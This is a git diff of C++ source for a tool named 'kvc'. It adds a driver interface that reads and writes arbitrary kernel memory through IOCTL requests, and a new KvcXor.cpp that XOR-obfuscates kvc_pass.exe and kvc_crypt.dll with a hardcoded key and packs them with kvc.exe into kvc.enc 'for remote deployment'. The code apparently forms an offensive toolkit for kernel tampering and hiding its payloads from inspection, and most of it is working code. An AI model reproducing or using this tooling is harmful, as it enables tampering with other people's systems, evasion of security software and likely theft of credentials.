HANDLE rawHandle = g_pCreateFileW(
|
||||
m_deviceName.c_str(),
|
||||
GENERIC_READ | GENERIC_WRITE,
|
||||
0, // No sharing
|
||||
nullptr, // Default security
|
||||
OPEN_EXISTING, // Device must exist
|
||||
0, // No special flags
|
||||
nullptr // No template
|
||||
);
|
||||
|
||||
// Silent failure if driver not loaded - this is expected behavior
|
||||
if (rawHandle == INVALID_HANDLE_VALUE) {
|
||||
DEBUG(L"Failed to open driver device: %s (error: %d)",
|
||||
m_deviceName.c_str(), GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Wrap raw handle in smart pointer for automatic cleanup
|
||||
m_deviceHandle = UniqueHandle(rawHandle);
|
||||
|
||||
DEBUG(L"Successfully opened driver device: %s", m_deviceName.c_str());
|
||||
return true;
|
||||
}
|
||||
|
||||
// Memory read operations with type safety
|
||||
std::optional<BYTE> kvc::Read8(ULONG_PTR address) noexcept {
|
||||
// ============================================================================
|
||||
// MEMORY READ OPERATIONS (TYPE-SAFE WRAPPERS)
|
||||
// ============================================================================
|
||||
|
||||
// Reads 8-bit value from kernel memory by extracting lowest byte from 32-bit read
|
||||
std::optional<BYTE> kvc::Read8(ULONG_PTR address) noexcept
|
||||
{
|
||||
auto value = Read32(address);
|
||||
if (!value.has_value()) return std::nullopt;
|
||||
return static_cast<BYTE>(value.value() & 0xff);
|
||||
if (!value.has_value()) {
|
||||
return std::nullopt;
|
||||
}
|
||||
return static_cast<BYTE>(value.value() & 0xFF);
|
||||
}
|
||||
|
||||
std::optional<WORD> kvc::Read16(ULONG_PTR address) noexcept {
|
||||
// Reads 16-bit value from kernel memory by extracting lowest 2 bytes from 32-bit read
|
||||
std::optional<WORD> kvc::Read16(ULONG_PTR address) noexcept
|
||||
{
|
||||
auto value = Read32(address);
|
||||
if (!value.has_value()) return std::nullopt;
|
||||
return static_cast<WORD>(value.value() & 0xffff);
|
||||
if (!value.has_value()) {
|
||||
return std::nullopt;
|
||||
}
|
||||
return static_cast<WORD>(value.value() & 0xFFFF);
|
||||
}
|
||||
|
||||
std::optional<DWORD> kvc::Read32(ULONG_PTR address) noexcept {
|
||||
// Reads 32-bit value from kernel memory via direct IOCTL call
|
||||
std::optional<DWORD> kvc::Read32(ULONG_PTR address) noexcept
|
||||
{
|
||||
return Read(address, sizeof(DWORD));
|
||||
}
|
||||
|
||||
std::optional<DWORD64> kvc::Read64(ULONG_PTR address) noexcept {
|
||||
// Reads 64-bit value from kernel memory by performing two 32-bit reads and combining them
|
||||
std::optional<DWORD64> kvc::Read64(ULONG_PTR address) noexcept
|
||||
{
|
||||
auto low = Read32(address);
|
||||
auto high = Read32(address + 4);
|
||||
|
||||
if (!low || !high) return std::nullopt;
|
||||
if (!low || !high) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Combine low and high DWORDs into QWORD
|
||||
return (static_cast<DWORD64>(high.value()) << 32) | low.value();
|
||||
}
|
||||
|
||||
std::optional<ULONG_PTR> kvc::ReadPtr(ULONG_PTR address) noexcept {
|
||||
// Reads pointer-sized value from kernel memory (64-bit on x64, 32-bit on x86)
|
||||
std::optional<ULONG_PTR> kvc::ReadPtr(ULONG_PTR address) noexcept
|
||||
{
|
||||
#ifdef _WIN64
|
||||
auto value = Read64(address);
|
||||
if (!value.has_value()) return std::nullopt;
|
||||
if (!value.has_value()) {
|
||||
return std::nullopt;
|
||||
}
|
||||
return static_cast<ULONG_PTR>(value.value());
|
||||
#else
|
||||
auto value = Read32(address);
|
||||
if (!value.has_value()) return std::nullopt;
|
||||
if (!value.has_value()) {
|
||||
return std::nullopt;
|
||||
}
|
||||
return static_cast<ULONG_PTR>(value.value());
|
||||
#endif
|
||||
}
|
||||
|
||||
// Memory write operations with type safety
|
||||
bool kvc::Write8(ULONG_PTR address, BYTE value) noexcept {
|
||||
// ============================================================================
|
||||
// MEMORY WRITE OPERATIONS (TYPE-SAFE WRAPPERS)
|
||||
// ============================================================================
|
||||
|
||||
// Writes 8-bit value to kernel memory (WARNING: can cause system instability)
|
||||
bool kvc::Write8(ULONG_PTR address, BYTE value) noexcept
|
||||
{
|
||||
return Write(address, sizeof(value), value);
|
||||
}
|
||||
|
||||
bool kvc::Write16(ULONG_PTR address, WORD value) noexcept {
|
||||
// Writes 16-bit value to kernel memory (WARNING: can cause system instability)
|
||||
bool kvc::Write16(ULONG_PTR address, WORD value) noexcept
|
||||
{
|
||||
return Write(address, sizeof(value), value);
|
||||
}
|
||||
|
||||
bool kvc::Write32(ULONG_PTR address, DWORD value) noexcept {
|
||||
// Writes 32-bit value to kernel memory (WARNING: can cause system instability)
|
||||
bool kvc::Write32(ULONG_PTR address, DWORD value) noexcept
|
||||
{
|
||||
return Write(address, sizeof(value), value);
|
||||
}
|
||||
|
||||
bool kvc::Write64(ULONG_PTR address, DWORD64 value) noexcept {
|
||||
DWORD low = static_cast<DWORD>(value & 0xffffffff);
|
||||
DWORD high = static_cast<DWORD>((value >> 32) & 0xffffffff);
|
||||
// Writes 64-bit value to kernel memory via two 32-bit writes (WARNING: non-atomic, can cause system instability)
|
||||
bool kvc::Write64(ULONG_PTR address, DWORD64 value) noexcept
|
||||
{
|
||||
DWORD low = static_cast<DWORD>(value & 0xFFFFFFFF);
|
||||
DWORD high = static_cast<DWORD>((value >> 32) & 0xFFFFFFFF);
|
||||
|
||||
// Both writes must succeed
|
||||
return Write32(address, low) && Write32(address + 4, high);
|
||||
}
|
||||
|
||||
// Low-level driver communication via IOCTL
|
||||
std::optional<DWORD> kvc::Read(ULONG_PTR address, DWORD valueSize) noexcept {
|
||||
// ============================================================================
|
||||
// LOW-LEVEL IOCTL COMMUNICATION
|
||||
// ============================================================================
|
||||
|
||||
// Low-level kernel memory read via IOCTL using aligned RTC_MEMORY_READ structure
|
||||
std::optional<DWORD> kvc::Read(ULONG_PTR address, DWORD valueSize) noexcept
|
||||
{
|
||||
// Construct read request with proper alignment
|
||||
RTC_MEMORY_READ memoryRead{};
|
||||
memoryRead.Address = address;
|
||||
memoryRead.Size = valueSize;
|
||||
|
||||
if (!Initialize()) return std::nullopt;
|
||||
// Ensure driver connection
|
||||
if (!Initialize()) {
|
||||
DEBUG(L"Driver not initialized for read operation");
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
DWORD bytesReturned = 0;
|
||||
if (!DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_READ,
|
||||
&memoryRead, sizeof(memoryRead), &memoryRead, sizeof(memoryRead), &bytesReturned, nullptr))
|
||||
|
||||
// Send IOCTL to driver
|
||||
BOOL result = DeviceIoControl(
|
||||
m_deviceHandle.get(), // Device handle
|
||||
RTC_IOCTL_MEMORY_READ, // IOCTL code
|
||||
&memoryRead, // Input buffer
|
||||
sizeof(memoryRead), // Input size
|
||||
&memoryRead, // Output buffer (in-place)
|
||||
sizeof(memoryRead), // Output size
|
||||
&bytesReturned, // Bytes returned
|
||||
nullptr // No overlapped I/O
|
||||
);
|
||||
|
||||
if (!result) {
|
||||
DEBUG(L"DeviceIoControl failed for read at 0x%llx: %d",
|
||||
address, GetLastError());
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
return memoryRead.Value;
|
||||
}
|
||||
|
||||
bool kvc::Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept {
|
||||
// Low-level kernel memory write via IOCTL (WARNING: can cause BSOD if address is invalid)
|
||||
bool kvc::Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept
|
||||
{
|
||||
// Construct write request with proper alignment
|
||||
RTC_MEMORY_WRITE memoryWrite{};
|
||||
memoryWrite.Address = address;
|
||||
memoryWrite.Size = valueSize;
|
||||
memoryWrite.Value = value;
|
||||
|
||||
if (!Initialize()) return false;
|
||||
// Ensure driver connection
|
||||
if (!Initialize()) {
|
||||
DEBUG(L"Driver not initialized for write operation");
|
||||
return false;
|
||||
}
|
||||
|
||||
DWORD bytesReturned = 0;
|
||||
return DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_WRITE,
|
||||
&memoryWrite, sizeof(memoryWrite), &memoryWrite, sizeof(memoryWrite), &bytesReturned, nullptr);
|
||||
|
||||
// Send IOCTL to driver
|
||||
BOOL result = DeviceIoControl(
|
||||
m_deviceHandle.get(), // Device handle
|
||||
RTC_IOCTL_MEMORY_WRITE, // IOCTL code
|
||||
&memoryWrite, // Input buffer
|
||||
sizeof(memoryWrite), // Input size
|
||||
&memoryWrite, // Output buffer (unused for write)
|
||||
sizeof(memoryWrite), // Output size
|
||||
&bytesReturned, // Bytes returned
|
||||
nullptr // No overlapped I/O
|
||||
);
|
||||
|
||||
if (!result) {
|
||||
DEBUG(L"DeviceIoControl failed for write at 0x%llx: %d",
|
||||
address, GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
67
kvc/KvcDrv.h
67
kvc/KvcDrv.h
@@ -1,36 +1,39 @@
|
||||
// kvcDrv.h - KVC kernel driver interface for memory read/write via IOCTL
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
#include <memory>
|
||||
#include <optional>
|
||||
|
||||
// KVC driver communication structures with proper alignment
|
||||
// Memory read request for IOCTL, properly aligned
|
||||
struct alignas(8) RTC_MEMORY_READ
|
||||
{
|
||||
BYTE Pad0[8]; // Alignment padding
|
||||
DWORD64 Address; // Target memory address
|
||||
BYTE Pad1[8]; // Additional padding
|
||||
DWORD Size; // Bytes to read
|
||||
DWORD Value; // Returned value
|
||||
BYTE Pad3[16]; // Final padding
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address; ///< Target kernel address
|
||||
BYTE Pad1[8];
|
||||
DWORD Size; ///< Number of bytes to read
|
||||
DWORD Value; ///< Returned value
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
|
||||
// Memory write request for IOCTL, properly aligned
|
||||
struct alignas(8) RTC_MEMORY_WRITE
|
||||
{
|
||||
BYTE Pad0[8]; // Alignment padding
|
||||
DWORD64 Address; // Target memory address
|
||||
BYTE Pad1[8]; // Additional padding
|
||||
DWORD Size; // Bytes to write
|
||||
DWORD Value; // Value to write
|
||||
BYTE Pad3[16]; // Final padding
|
||||
BYTE Pad0[8];
|
||||
DWORD64 Address; ///< Target kernel address
|
||||
BYTE Pad1[8];
|
||||
DWORD Size; ///< Number of bytes to write
|
||||
DWORD Value; ///< Value to write
|
||||
BYTE Pad3[16];
|
||||
};
|
||||
|
||||
// Kernel memory operations interface via KVC driver
|
||||
// KVC driver communication class for type-safe kernel memory operations
|
||||
class kvc
|
||||
{
|
||||
public:
|
||||
kvc();
|
||||
~kvc();
|
||||
kvc(); ///< Construct driver interface
|
||||
~kvc(); ///< Destructor with automatic cleanup
|
||||
|
||||
kvc(const kvc&) = delete;
|
||||
kvc& operator=(const kvc&) = delete;
|
||||
@@ -38,40 +41,32 @@ public:
|
||||
kvc& operator=(kvc&&) noexcept = default;
|
||||
|
||||
// Driver connection management
|
||||
bool Initialize() noexcept;
|
||||
void Cleanup() noexcept;
|
||||
bool IsConnected() const noexcept;
|
||||
bool Initialize() noexcept; ///< Connect to KVC driver
|
||||
void Cleanup() noexcept; ///< Close driver connection
|
||||
bool IsConnected() const noexcept; ///< Check connection status
|
||||
|
||||
// Memory read operations with type safety
|
||||
// Memory read operations
|
||||
std::optional<BYTE> Read8(ULONG_PTR address) noexcept;
|
||||
std::optional<WORD> Read16(ULONG_PTR address) noexcept;
|
||||
std::optional<DWORD> Read32(ULONG_PTR address) noexcept;
|
||||
std::optional<DWORD64> Read64(ULONG_PTR address) noexcept;
|
||||
std::optional<ULONG_PTR> ReadPtr(ULONG_PTR address) noexcept;
|
||||
|
||||
// Memory write operations with type safety
|
||||
// Memory write operations
|
||||
bool Write8(ULONG_PTR address, BYTE value) noexcept;
|
||||
bool Write16(ULONG_PTR address, WORD value) noexcept;
|
||||
bool Write32(ULONG_PTR address, DWORD value) noexcept;
|
||||
bool Write64(ULONG_PTR address, DWORD64 value) noexcept;
|
||||
|
||||
private:
|
||||
// Smart handle wrapper for automatic cleanup
|
||||
struct HandleDeleter
|
||||
{
|
||||
void operator()(HANDLE handle) const noexcept
|
||||
{
|
||||
if (handle && handle != INVALID_HANDLE_VALUE)
|
||||
CloseHandle(handle);
|
||||
}
|
||||
};
|
||||
|
||||
// Smart handle management
|
||||
struct HandleDeleter { void operator()(HANDLE handle) const noexcept { if (handle && handle != INVALID_HANDLE_VALUE) CloseHandle(handle); } };
|
||||
using UniqueHandle = std::unique_ptr<std::remove_pointer_t<HANDLE>, HandleDeleter>;
|
||||
|
||||
std::wstring m_deviceName; // Driver device name
|
||||
UniqueHandle m_deviceHandle; // Handle to driver device
|
||||
std::wstring m_deviceName; ///< Driver device name
|
||||
UniqueHandle m_deviceHandle; ///< Managed driver handle
|
||||
|
||||
// Low-level communication via IOCTL
|
||||
std::optional<DWORD> Read(ULONG_PTR address, DWORD valueSize) noexcept;
|
||||
bool Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept;
|
||||
// Low-level IOCTL operations
|
||||
std::optional<DWORD> Read(ULONG_PTR address, DWORD valueSize) noexcept; ///< Internal read helper
|
||||
bool Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept; ///< Internal write helper
|
||||
};
|
||||
660
kvc/KvcXor.cpp
Normal file
660
kvc/KvcXor.cpp
Normal file
@@ -0,0 +1,660 @@
|
||||
#include <iostream>
|
||||
#include <fstream>
|
||||
#include <vector>
|
||||
#include <array>
|
||||
#include <string>
|
||||
#include <string_view>
|
||||
#include <span>
|
||||
#include <ranges>
|
||||
#include <algorithm>
|
||||
#include <filesystem>
|
||||
#include <optional>
|
||||
#include <variant>
|
||||
#include <cstdint>
|
||||
|
||||
#ifdef _WIN32
|
||||
#define NOMINMAX
|
||||
#include <windows.h>
|
||||
#endif
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
namespace rng = std::ranges;
|
||||
|
||||
// XOR key
|
||||
constexpr std::array<uint8_t, 7> XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
|
||||
|
||||
// File paths
|
||||
constexpr std::string_view KVC_PASS_EXE = "kvc_pass.exe";
|
||||
constexpr std::string_view KVC_CRYPT_DLL = "kvc_crypt.dll";
|
||||
constexpr std::string_view KVC_RAW = "kvc.raw";
|
||||
constexpr std::string_view KVC_DAT = "kvc.dat";
|
||||
constexpr std::string_view KVC_EXE = "kvc.exe";
|
||||
constexpr std::string_view KVC_ENC = "kvc.enc";
|
||||
|
||||
// Helper for string concatenation (replaces std::format)
|
||||
inline std::string concat(std::string_view a) {
|
||||
return std::string(a);
|
||||
}
|
||||
|
||||
inline std::string concat(std::string_view a, std::string_view b) {
|
||||
std::string result;
|
||||
result.reserve(a.size() + b.size());
|
||||
result.append(a);
|
||||
result.append(b);
|
||||
return result;
|
||||
}
|
||||
|
||||
inline std::string concat(std::string_view a, std::string_view b, std::string_view c) {
|
||||
std::string result;
|
||||
result.reserve(a.size() + b.size() + c.size());
|
||||
result.append(a);
|
||||
result.append(b);
|
||||
result.append(c);
|
||||
return result;
|
||||
}
|
||||
|
||||
inline std::string concat(std::string_view a, std::string_view b, std::string_view c, std::string_view d) {
|
||||
std::string result;
|
||||
result.reserve(a.size() + b.size() + c.size() + d.size());
|
||||
result.append(a);
|
||||
result.append(b);
|
||||
result.append(c);
|
||||
result.append(d);
|
||||
return result;
|
||||
}
|
||||
|
||||
inline std::string concat(std::string_view a, std::string_view b, std::string_view c,
|
||||
std::string_view d, std::string_view e) {
|
||||
std::string result;
|
||||
result.reserve(a.size() + b.size() + c.size() + d.size() + e.size());
|
||||
result.append(a);
|
||||
result.append(b);
|
||||
result.append(c);
|
||||
result.append(d);
|
||||
result.append(e);
|
||||
return result;
|
||||
}
|
||||
|
||||
inline std::string concat(std::string_view a, std::string_view b, std::string_view c,
|
||||
std::string_view d, std::string_view e, std::string_view f) {
|
||||
std::string result;
|
||||
result.reserve(a.size() + b.size() + c.size() + d.size() + e.size() + f.size());
|
||||
result.append(a);
|
||||
result.append(b);
|
||||
result.append(c);
|
||||
result.append(d);
|
||||
result.append(e);
|
||||
result.append(f);
|
||||
return result;
|
||||
}
|
||||
|
||||
inline std::string concat(std::string_view a, std::string_view b, std::string_view c,
|
||||
std::string_view d, std::string_view e, std::string_view f,
|
||||
std::string_view g) {
|
||||
std::string result;
|
||||
result.reserve(a.size() + b.size() + c.size() + d.size() + e.size() + f.size() + g.size());
|
||||
result.append(a);
|
||||
result.append(b);
|
||||
result.append(c);
|
||||
result.append(d);
|
||||
result.append(e);
|
||||
result.append(f);
|
||||
result.append(g);
|
||||
return result;
|
||||
}
|
||||
|
||||
// Simple Result type (replacement for std::expected which MSVC doesn't fully support yet)
|
||||
template<typename T>
|
||||
class Result {
|
||||
std::variant<T, std::string> data;
|
||||
|
||||
public:
|
||||
Result(T value) : data(std::move(value)) {}
|
||||
Result(std::string error) : data(std::move(error)) {}
|
||||
|
||||
bool has_value() const { return std::holds_alternative<T>(data); }
|
||||
explicit operator bool() const { return has_value(); }
|
||||
|
||||
T& value() { return std::get<T>(data); }
|
||||
const T& value() const { return std::get<T>(data); }
|
||||
|
||||
const std::string& error() const { return std::get<std::string>(data); }
|
||||
|
||||
T* operator->() { return &std::get<T>(data); }
|
||||
const T* operator->() const { return &std::get<T>(data); }
|
||||
};
|
||||
|
||||
// Specialization for void
|
||||
template<>
|
||||
class Result<void> {
|
||||
std::optional<std::string> error_msg;
|
||||
|
||||
public:
|
||||
Result() : error_msg(std::nullopt) {}
|
||||
Result(std::string error) : error_msg(std::move(error)) {}
|
||||
|
||||
bool has_value() const { return !error_msg.has_value(); }
|
||||
explicit operator bool() const { return has_value(); }
|
||||
|
||||
const std::string& error() const { return *error_msg; }
|
||||
};
|
||||
|
||||
// Console colors
|
||||
enum class Color : int {
|
||||
Default = 7,
|
||||
Green = 10,
|
||||
Red = 12,
|
||||
Yellow = 14
|
||||
};
|
||||
|
||||
void set_color(Color color) {
|
||||
#ifdef _WIN32
|
||||
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), static_cast<int>(color));
|
||||
#else
|
||||
switch (color) {
|
||||
case Color::Green: std::cout << "\033[32m"; break;
|
||||
case Color::Red: std::cout << "\033[31m"; break;
|
||||
case Color::Yellow: std::cout << "\033[33m"; break;
|
||||
case Color::Default: std::cout << "\033[0m"; break;
|
||||
}
|
||||
#endif
|
||||
}
|
||||
|
||||
void reset_color() {
|
||||
set_color(Color::Default);
|
||||
}
|
||||
|
||||
// RAII color guard
|
||||
class ColorGuard {
|
||||
public:
|
||||
explicit ColorGuard(Color new_color) {
|
||||
set_color(new_color);
|
||||
}
|
||||
~ColorGuard() {
|
||||
reset_color();
|
||||
}
|
||||
ColorGuard(const ColorGuard&) = delete;
|
||||
ColorGuard& operator=(const ColorGuard&) = delete;
|
||||
};
|
||||
|
||||
// XOR operation
|
||||
void xor_data(std::span<uint8_t> data, std::span<const uint8_t> key) noexcept {
|
||||
for (size_t i = 0; i < data.size(); ++i) {
|
||||
data[i] ^= key[i % key.size()];
|
||||
}
|
||||
}
|
||||
|
||||
// Read entire file into vector
|
||||
Result<std::vector<uint8_t>> read_file(const fs::path& path) {
|
||||
if (!fs::exists(path)) {
|
||||
return Result<std::vector<uint8_t>>(
|
||||
concat("File '", path.string(), "' does not exist")
|
||||
);
|
||||
}
|
||||
|
||||
std::ifstream file(path, std::ios::binary);
|
||||
if (!file) {
|
||||
return Result<std::vector<uint8_t>>(
|
||||
concat("Cannot open file '", path.string(), "'")
|
||||
);
|
||||
}
|
||||
|
||||
std::vector<uint8_t> data(
|
||||
(std::istreambuf_iterator<char>(file)),
|
||||
std::istreambuf_iterator<char>()
|
||||
);
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
// Write data to file
|
||||
Result<void> write_file(const fs::path& path, std::span<const uint8_t> data) {
|
||||
std::ofstream file(path, std::ios::binary);
|
||||
if (!file) {
|
||||
return Result<void>(
|
||||
concat("Cannot create file '", path.string(), "'")
|
||||
);
|
||||
}
|
||||
|
||||
file.write(reinterpret_cast<const char*>(data.data()), data.size());
|
||||
|
||||
if (!file) {
|
||||
return Result<void>(
|
||||
concat("Error writing to file '", path.string(), "'")
|
||||
);
|
||||
}
|
||||
|
||||
return Result<void>();
|
||||
}
|
||||
|
||||
// Helper to read uint16_t from buffer
|
||||
constexpr uint16_t read_uint16(std::span<const uint8_t> data, size_t offset) {
|
||||
return static_cast<uint16_t>(data[offset]) |
|
||||
(static_cast<uint16_t>(data[offset + 1]) << 8);
|
||||
}
|
||||
|
||||
// Helper to read uint32_t from buffer
|
||||
constexpr uint32_t read_uint32(std::span<const uint8_t> data, size_t offset) {
|
||||
return static_cast<uint32_t>(data[offset]) |
|
||||
(static_cast<uint32_t>(data[offset + 1]) << 8) |
|
||||
(static_cast<uint32_t>(data[offset + 2]) << 16) |
|
||||
(static_cast<uint32_t>(data[offset + 3]) << 24);
|
||||
}
|
||||
|
||||
// Determine PE file length from buffer
|
||||
std::optional<size_t> get_pe_file_length(std::span<const uint8_t> data, size_t offset = 0) noexcept {
|
||||
try {
|
||||
// Check if we have enough data for DOS header
|
||||
if (data.size() < offset + 0x40) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Check for MZ signature
|
||||
if (data[offset] != 'M' || data[offset + 1] != 'Z') {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Get e_lfanew from offset 0x3C
|
||||
const uint32_t e_lfanew = read_uint32(data, offset + 0x3C);
|
||||
const size_t pe_header_offset = offset + e_lfanew;
|
||||
|
||||
// Check if we have enough data for PE header
|
||||
if (pe_header_offset + 6 > data.size()) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Check for PE signature
|
||||
if (data[pe_header_offset] != 'P' || data[pe_header_offset + 1] != 'E' ||
|
||||
data[pe_header_offset + 2] != 0 || data[pe_header_offset + 3] != 0) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Get number of sections and size of optional header
|
||||
const uint16_t number_of_sections = read_uint16(data, pe_header_offset + 6);
|
||||
const uint16_t size_of_optional_header = read_uint16(data, pe_header_offset + 20);
|
||||
|
||||
// Calculate section table offset
|
||||
const size_t section_table_offset = pe_header_offset + 24 + size_of_optional_header;
|
||||
|
||||
// Check if we have enough data for section table
|
||||
if (section_table_offset + number_of_sections * 40 > data.size()) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Find the maximum end of section raw data
|
||||
size_t max_end = 0;
|
||||
for (uint16_t i = 0; i < number_of_sections; ++i) {
|
||||
const size_t sh_offset = section_table_offset + i * 40;
|
||||
|
||||
const uint32_t size_of_raw = read_uint32(data, sh_offset + 16);
|
||||
const uint32_t pointer_to_raw = read_uint32(data, sh_offset + 20);
|
||||
|
||||
if (pointer_to_raw == 0) continue;
|
||||
|
||||
const size_t end = pointer_to_raw + size_of_raw;
|
||||
max_end = std::max(max_end, end);
|
||||
}
|
||||
|
||||
// If we found section data, use it
|
||||
if (max_end > 0) {
|
||||
const size_t header_end = section_table_offset + number_of_sections * 40;
|
||||
return std::max(max_end, header_end);
|
||||
}
|
||||
|
||||
// Fallback: Use SizeOfHeaders from optional header
|
||||
const size_t optional_header_offset = pe_header_offset + 24;
|
||||
if (optional_header_offset + 64 <= data.size()) {
|
||||
const uint32_t size_of_headers = read_uint32(data, optional_header_offset + 60);
|
||||
if (size_of_headers > 0) {
|
||||
return size_of_headers;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (...) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
// Find next MZ header in buffer
|
||||
std::optional<size_t> find_next_mz_header(std::span<const uint8_t> data, size_t start_offset) {
|
||||
constexpr std::array<uint8_t, 2> pattern = { 'M', 'Z' };
|
||||
|
||||
auto search_range = rng::subrange(
|
||||
data.begin() + start_offset,
|
||||
data.end()
|
||||
);
|
||||
|
||||
auto result = rng::search(search_range, pattern);
|
||||
|
||||
if (result.empty()) {
|
||||
return std::nullopt;
|
||||
}
|
||||
|
||||
return std::distance(data.begin(), result.begin());
|
||||
}
|
||||
|
||||
// Ask user Y/N question
|
||||
bool ask_yes_no(std::string_view question) {
|
||||
std::cout << question << " (Y/N): ";
|
||||
std::string answer;
|
||||
std::getline(std::cin, answer);
|
||||
|
||||
return !answer.empty() && (answer[0] == 'Y' || answer[0] == 'y');
|
||||
}
|
||||
|
||||
// Encode files: kvc_pass.exe + kvc_crypt.dll -> kvc.raw + kvc.dat
|
||||
Result<void> encode_files() {
|
||||
std::cout << "Step 1: Encoding " << KVC_PASS_EXE << " + " << KVC_CRYPT_DLL << "...\n";
|
||||
|
||||
// Read both files
|
||||
auto exe_result = read_file(KVC_PASS_EXE);
|
||||
if (!exe_result) {
|
||||
return Result<void>(exe_result.error());
|
||||
}
|
||||
|
||||
auto dll_result = read_file(KVC_CRYPT_DLL);
|
||||
if (!dll_result) {
|
||||
return Result<void>(dll_result.error());
|
||||
}
|
||||
|
||||
// Combine files
|
||||
std::vector<uint8_t> combined_data;
|
||||
combined_data.reserve(exe_result->size() + dll_result->size());
|
||||
combined_data.insert(combined_data.end(), exe_result->begin(), exe_result->end());
|
||||
combined_data.insert(combined_data.end(), dll_result->begin(), dll_result->end());
|
||||
|
||||
// Write raw file
|
||||
if (auto result = write_file(KVC_RAW, combined_data); !result) {
|
||||
return result;
|
||||
}
|
||||
|
||||
// XOR encode the data
|
||||
xor_data(combined_data, XOR_KEY);
|
||||
|
||||
// Write encoded file
|
||||
if (auto result = write_file(KVC_DAT, combined_data); !result) {
|
||||
return result;
|
||||
}
|
||||
|
||||
std::cout << " -> Files combined -> " << KVC_RAW << "\n";
|
||||
std::cout << " -> Combined file XOR-encoded -> " << KVC_DAT << "\n";
|
||||
|
||||
return Result<void>();
|
||||
}
|
||||
|
||||
// Decode files: kvc.dat -> kvc.raw + kvc_pass.exe + kvc_crypt.dll
|
||||
Result<void> decode_files() {
|
||||
std::cout << "Decoding " << KVC_DAT << "...\n";
|
||||
|
||||
auto enc_result = read_file(KVC_DAT);
|
||||
if (!enc_result) {
|
||||
return Result<void>(enc_result.error());
|
||||
}
|
||||
|
||||
// XOR decode the data
|
||||
std::vector<uint8_t> dec_data = std::move(enc_result.value());
|
||||
xor_data(dec_data, XOR_KEY);
|
||||
|
||||
// Write decoded raw file
|
||||
if (auto result = write_file(KVC_RAW, dec_data); !result) {
|
||||
return result;
|
||||
}
|
||||
|
||||
// Try to determine the exact size of the first PE file
|
||||
auto first_size = get_pe_file_length(dec_data, 0);
|
||||
|
||||
// Fallback if PE parsing failed
|
||||
if (!first_size || *first_size >= dec_data.size()) {
|
||||
std::cout << " -> PE parsing failed, using fallback search for MZ header...\n";
|
||||
|
||||
const size_t search_start = std::min<size_t>(0x200, dec_data.size() - 1);
|
||||
first_size = find_next_mz_header(dec_data, search_start);
|
||||
|
||||
if (!first_size) {
|
||||
// Ultimate fallback: don't split
|
||||
first_size = dec_data.size();
|
||||
}
|
||||
}
|
||||
|
||||
// Split the files
|
||||
if (auto result = write_file(KVC_PASS_EXE, std::span(dec_data.data(), *first_size)); !result) {
|
||||
return result;
|
||||
}
|
||||
|
||||
if (auto result = write_file(KVC_CRYPT_DLL, std::span(dec_data.data() + *first_size, dec_data.size() - *first_size)); !result) {
|
||||
return result;
|
||||
}
|
||||
|
||||
std::cout << " -> Decoded -> " << KVC_RAW << "\n";
|
||||
std::cout << " -> Split into " << KVC_PASS_EXE << " and " << KVC_CRYPT_DLL << "\n";
|
||||
|
||||
return Result<void>();
|
||||
}
|
||||
|
||||
// Build distribution package: kvc.exe + kvc.dat -> kvc.enc
|
||||
Result<void> build_distribution() {
|
||||
std::cout << "Building distribution package...\n";
|
||||
|
||||
// Check if kvc.dat exists
|
||||
if (!fs::exists(KVC_DAT)) {
|
||||
std::cout << " -> " << KVC_DAT << " not found.\n";
|
||||
|
||||
// Check if source files exist
|
||||
if (!fs::exists(KVC_PASS_EXE) || !fs::exists(KVC_CRYPT_DLL)) {
|
||||
return Result<void>(
|
||||
concat("Cannot create ", KVC_DAT, ": missing ", KVC_PASS_EXE, " or ", KVC_CRYPT_DLL)
|
||||
);
|
||||
}
|
||||
|
||||
// Ask if we should create it
|
||||
if (ask_yes_no(concat("Create ", KVC_DAT, " from ", KVC_PASS_EXE, " and ", KVC_CRYPT_DLL, "?"))) {
|
||||
if (auto result = encode_files(); !result) {
|
||||
return result;
|
||||
}
|
||||
} else {
|
||||
return Result<void>("Operation cancelled by user");
|
||||
}
|
||||
}
|
||||
|
||||
// Read both files
|
||||
auto exe_result = read_file(KVC_EXE);
|
||||
if (!exe_result) {
|
||||
return Result<void>(exe_result.error());
|
||||
}
|
||||
|
||||
auto dat_result = read_file(KVC_DAT);
|
||||
if (!dat_result) {
|
||||
return Result<void>(dat_result.error());
|
||||
}
|
||||
|
||||
// Combine files
|
||||
std::vector<uint8_t> combined_data;
|
||||
combined_data.reserve(exe_result->size() + dat_result->size());
|
||||
combined_data.insert(combined_data.end(), exe_result->begin(), exe_result->end());
|
||||
combined_data.insert(combined_data.end(), dat_result->begin(), dat_result->end());
|
||||
|
||||
// XOR encode the combined data
|
||||
xor_data(combined_data, XOR_KEY);
|
||||
|
||||
// Write encoded distribution file
|
||||
if (auto result = write_file(KVC_ENC, combined_data); !result) {
|
||||
return result;
|
||||
}
|
||||
|
||||
std::cout << " -> Distribution package created -> " << KVC_ENC << "\n";
|
||||
std::cout << " -> Ready for remote deployment!\n";
|
||||
|
||||
return Result<void>();
|
||||
}
|
||||
|
||||
